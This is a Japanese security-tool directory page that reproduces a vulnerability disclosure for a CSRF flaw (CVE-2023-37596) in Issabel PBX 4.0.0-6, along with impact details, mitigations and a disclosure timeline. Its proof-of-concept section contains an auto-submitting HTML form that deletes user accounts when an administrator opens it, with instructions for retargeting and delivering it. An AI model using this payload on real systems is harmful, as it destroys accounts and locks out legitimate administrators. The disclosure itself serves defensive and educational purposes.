Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-37596 — CVE-2023-37596 は、広く使用されているオープンソースのユニファイドコミュニケーションプラットフォームである Issabel PBX バージョン 4.0.0-6 で発見されたクロスサイトリクエストフォージェリ(CSRF)脆弱性です。 | Kitploit
ツール/GitHubGitHub/sahiloj/cve-2023-37596
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubsahiloj/cve-2023-37596

CVE-2023-37596

CVE-2023-37596 は、広く使用されているオープンソースのユニファイドコミュニケーションプラットフォームである Issabel PBX バージョン 4.0.0-6 で発見されたクロスサイトリクエストフォージェリ(CSRF)脆弱性です。

リポジトリを見る
1116ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-37596 — issabel-pbx 4.0.0-6: クロスサイト・リクエスト・フォージェリ (CSRF) — 任意ユーザーの削除

重大度: 高  |  CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H)  |  CWE: CWE-352


目次

  • 概要
  • 脆弱性の詳細
  • 影響
  • 影響を受けるバージョン
  • 攻撃シナリオ
  • 概念実証 (再現手順)
  • 緩和策 / 是正措置
  • 参照
  • 開示スケジュール
  • 著者

概要

クロスサイト・リクエスト・フォージェリ (CSRF) の脆弱性が Issabel PBX バージョン 4.0.0-6 で発見されました。ユーザー管理エンドポイントには CSRF 保護が一切実装されておらず、認証されていないリモート攻撃者が悪意のある Web ページを作成し、認証済みの Issabel 管理者がそのページを訪れると、システムから任意のユーザーアカウントが黙って削除されます。この攻撃を繰り返し悪用することで、すべての管理者ユーザーが削除され、アプリケーション全体にアクセスできなくなる可能性があります。


脆弱性の詳細

フィールド値
CVE IDCVE-2023-37596
脆弱性タイプクロスサイト・リクエスト・フォージェリ (CSRF)
CWECWE-352
製品Issabel PBX
影響を受けるバージョン4.0.0-6
ベンダーホームページhttps://www.issabel.org/
ソフトウェアリポジトリhttps://github.com/IssabelFoundation/issabelPBX
テスト環境Windows
CVE 公開日10/07/2023
発見者Sahil Ojha

影響

Issabel PBX はユーザー管理インターフェースへの状態変更リクエストの送信元を検証しないため、CSRF 攻撃が成功すると、攻撃者は以下を行うことができます:

  • 任意のユーザーアカウントを削除 — 被害者に気付かれることなく、プライマリ管理者を含む任意のアカウントを削除できます。
  • サービス拒否 (DoS) を引き起こす — すべてのユーザーを削除すると誰もログインできなくなり、PBX 管理パネルに完全にアクセスできなくなります。
  • 電話サービスを妨害する — アカウントがサーバーレベルで手動復旧されるまで、電話システムの設定と管理が利用できなくなります。

影響を受けるバージョン

製品影響を受けるバージョンステータス
issabel-pbx4.0.0-6脆弱性あり

攻撃シナリオ

攻撃者は、Issabel PBX アプリケーションのユーザー削除エンドポイントを標的とした偽造 HTTP リクエストを含む悪意のある HTML ページをホストします。この攻撃は、Issabel に既に認証されているユーザーが同じブラウザで悪意のあるページを訪れると、自動的に (またはボタンのクリックで) トリガーされます。ブラウザはすべてのリクエストに被害者のセッション Cookie を自動的に含めるため、サーバーは偽造された削除リクエストを正当なものとして受け入れます。

攻撃者側に特別な権限は必要ありません — 認証済みの管理者を仕掛けられたページに誘導するソーシャルエンジニアリングのベクトル (フィッシングリンク、悪意のある広告など) のみが必要です。

この攻撃の主な特徴:

  • 攻撃者側に認証は不要。
  • 1クリック (または `` / 自動送信フォームを使用する場合はゼロクリック) でエクスプロイトが発動します。
  • ペイロードを変更することで、任意のユーザー ID (例: id=1、id=2、…) を標的にできます。
  • この攻撃は被害者には見えません。ページは無関係なコンテンツを表示しながら、偽造リクエストを静かに送信できます。

概念実証 (再現手順)

前提条件

  • Burp Suite (Community 版または Professional 版)
  • Burp Suite を経由するようにプロキシ設定されたブラウザ
  • ネットワーク上でアクセス可能な Issabel PBX 4.0.0-6 インスタンス

ステップ 1 — 管理者としてログイン

Issabel PBX のユーザー一覧ページに移動し、管理者認証情報でログインします:

root@kitploit:~
https://<Issabel-IP>/index.php?menu=userlist

ステップ 1 — Issabel PBX ユーザー一覧


ステップ 2 — Burp Suite でユーザー削除リクエストをキャプチャ

  1. Burp Suite プロキシを有効にした状態で、対象ユーザーの横にある Delete ボタンをクリックします。
  2. Burp Suite の Proxy → HTTP history で、キャプチャされた DELETE/POST リクエストを探します。
  3. リクエストを右クリックし、Engagement Tools → Generate CSRF PoC を選択します。

ステップ 2 — Burp Suite での削除リクエストのキャプチャ


ステップ 3 — CSRF エクスプロイトを生成して保存

Burp Suite は以下のような HTML ページを生成します。これを .html ファイル (例: csrf_exploit.html) として保存します:

root@kitploit:~
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://<Issabel-IP>/index.php?menu=userlist" method="POST">
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      // Auto-submit the form as soon as the page loads
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

注記: <Issabel-IP> をターゲットサーバーの IP アドレスまたはホスト名に置き換え、id の値を変更すると別のユーザーアカウントを標的にできます。


ステップ 4 — 認証済みの管理者にエクスプロイトを配信

csrf_exploit.html ファイル (またはそのホスト先へのリンク) を、現在 Issabel PBX にログインしているユーザーに送信します。被害者がページを開くと、フォームが自動的に送信され、確認プロンプトなしで対象ユーザーが削除されます。

ステップ 4 — CSRF エクスプロイト実行、ユーザー削除

ステップ 4 — ユーザーが削除されたことの確認


緩和策 / 是正措置

この脆弱性を是正するために、ベンダーおよび/またはシステム管理者は以下の防御策を適用する必要があります:

  1. CSRF トークンの実装 — 暗号学的にランダムなセッション (またはリクエスト) ごとのトークンを生成し、すべての状態変更リクエストに対してサーバー側で検証します。有効なトークンを含まないリクエストは拒否する必要があります。

  2. SameSite Cookie 属性 — セッション Cookie の SameSite 属性を Strict または Lax に設定し、ほとんどのブラウザでクロスオリジンリクエストがセッション Cookie を送信しないようにします。

  3. Origin / Referer ヘッダーの検証 — サーバー側で、Origin または Referer ヘッダーがアプリケーション自身のドメインと一致しない状態変更リクエストを拒否します。

  4. 破壊的な操作には再認証を要求 — ユーザーアカウントの削除などの取り消し不可能な操作を処理する前に、ユーザーにパスワードの再入力を求めます。

  5. 最小権限の原則を適用 — 明示的な管理者ロールを持つユーザーのみがユーザー削除機能にアクセスできるようにし、攻撃が成功した場合の影響範囲を縮小します。

ベンダーパッチが利用可能になるまでの間、管理者には以下を推奨します:

  • ファイアウォールルールを使用して、Issabel PBX 管理パネルへのアクセスを信頼できる IP アドレスに制限する。
  • 管理パネルにログインしている間は、信頼できない Web サイトを閲覧しない。

参照

  • NVD — CVE-2023-37596
  • OWASP — クロスサイト・リクエスト・フォージェリ (CSRF)
  • CWE-352: Cross-Site Request Forgery (CSRF)
  • Issabel PBX 公式ウェブサイト
  • GitHub の IssabelFoundation/issabelPBX
  • PortSwigger — CSRF

開示スケジュール

日付イベント
10/07/2023脆弱性を発見し報告
10/07/2023CVE-2023-37596 採番

著者

Sahil Ojha

  • セキュリティリサーチャー
  • CVE: CVE-2023-37596

免責事項: このリポジトリは教育および責任ある開示の目的でのみ公開されています。ここに記載された情報を、システム所有者からの明示的な書面による許可なしにシステムへの攻撃に使用してはなりません。著者は、この情報の誤用について一切の責任を負いません。

ツールをダウンロード